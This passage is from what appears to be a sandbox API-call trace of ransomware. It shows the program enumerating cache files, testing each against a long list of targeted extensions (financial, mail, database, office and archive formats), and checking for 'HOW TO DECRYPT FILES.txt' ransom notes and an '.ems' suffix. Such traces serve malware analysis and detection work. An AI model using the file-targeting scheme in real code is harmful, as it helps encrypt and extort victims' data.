HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbo") returned 0 [0086.955] lstrlenA (lpString="*.qbo") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbx") returned 0 [0086.955] lstrlenA (lpString="*.qbx") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qba") returned 0 [0086.955] lstrlenA (lpString="*.qba") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qby") returned 0 [0086.956] lstrlenA (lpString="*.qby") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbj") returned 0 [0086.956] lstrlenA (lpString="*.qbj") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.ofx") returned 0 [0086.956] lstrlenA (lpString="*.ofx") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qif") returned 0 [0086.956] lstrlenA (lpString="*.qif") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.mye") returned 0 [0086.956] lstrlenA (lpString="*.mye") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.mbox") returned 0 [0086.956] lstrlenA (lpString="*.mbox") returned 6 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.eml") returned 0 [0086.956] lstrlenA (lpString="*.eml") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.pst") returned 0 [0086.956] lstrlenA (lpString="*.pst") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.ost") returned 0 [0086.956] lstrlenA (lpString="*.ost") returned 5 [0086.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.idx") returned 0 [0086.956] lstrlenA (lpString="*.idx") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.dbx") returned 0 [0086.957] lstrlenA (lpString="*.dbx") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.sql") returned 0 [0086.957] lstrlenA (lpString="*.sql") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.mdb") returned 0 [0086.957] lstrlenA (lpString="*.mdb") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.fdb") returned 0 [0086.957] lstrlenA (lpString="*.fdb") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.wab") returned 0 [0086.957] lstrlenA (lpString="*.wab") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.dat") returned 0 [0086.957] lstrlenA (lpString="*.dat") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.txt") returned 0 [0086.957] lstrlenA (lpString="*.txt") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.jpeg") returned 0 [0086.957] lstrlenA (lpString="*.jpeg") returned 6 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.jpg") returned 0 [0086.957] lstrlenA (lpString="*.jpg") returned 5 [0086.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.png") returned 0 [0086.958] lstrlenA (lpString="*.png") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.php") returned 0 [0086.958] lstrlenA (lpString="*.php") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.cs") returned 0 [0086.958] lstrlenA (lpString="*.cs") returned 4 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.cpp") returned 0 [0086.958] lstrlenA (lpString="*.cpp") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.rar") returned 0 [0086.958] lstrlenA (lpString="*.rar") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.zip") returned 0 [0086.958] lstrlenA (lpString="*.zip") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.html") returned 0 [0086.958] lstrlenA (lpString="*.html") returned 6 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.htm") returned 0 [0086.958] lstrlenA (lpString="*.htm") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.xlsx") returned 0 [0086.958] lstrlenA (lpString="*.xlsx") returned 6 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.xls") returned 0 [0086.958] lstrlenA (lpString="*.xls") returned 5 [0086.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.mp4") returned 0 [0086.959] lstrlenA (lpString="*.mp4") returned 5 [0086.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.ppt") returned 0 [0086.959] lstrlenA (lpString="*.ppt") returned 5 [0086.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.pptx") returned 0 [0086.959] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0086.959] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.959] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 1 [0086.959] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 1 [0086.959] lstrcmpiA (lpString1="", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned -1 [0086.959] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" [0086.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.959] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.959] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.960] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" [0086.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", pszSpec="*.ems") returned 0 [0086.960] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0086.960] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.960] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 1 [0086.960] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 1 [0086.960] lstrcmpiA (lpString1="", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned -1 [0086.960] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" [0086.960] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.960] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.960] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.961] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406" [0086.961] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406", pszSpec="*.ems") returned 0 [0086.961] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0086.961] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.961] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned 1 [0086.961] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned 1 [0086.961] lstrcmpiA (lpString1="", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned -1 [0086.961] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="1DAF2884EC4DFA96BA4A58D4DBC9C406" [0086.961] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.961] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.961] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.961] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.961] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="23B523C9E7746F715D33C6527C18EB9D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D" [0086.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D", pszSpec="*.ems") returned 0 [0086.962] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0086.962] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.962] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned 1 [0086.962] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned 1 [0086.962] lstrcmpiA (lpString1="", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned -1 [0086.962] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="23B523C9E7746F715D33C6527C18EB9D" [0086.962] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.962] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.962] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.962] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.962] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="3130B1871A126520A8C47861EFE3ED4D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D" [0086.962] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D", pszSpec="*.ems") returned 0 [0086.963] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x200057, dwReserved1=0x4f0054, 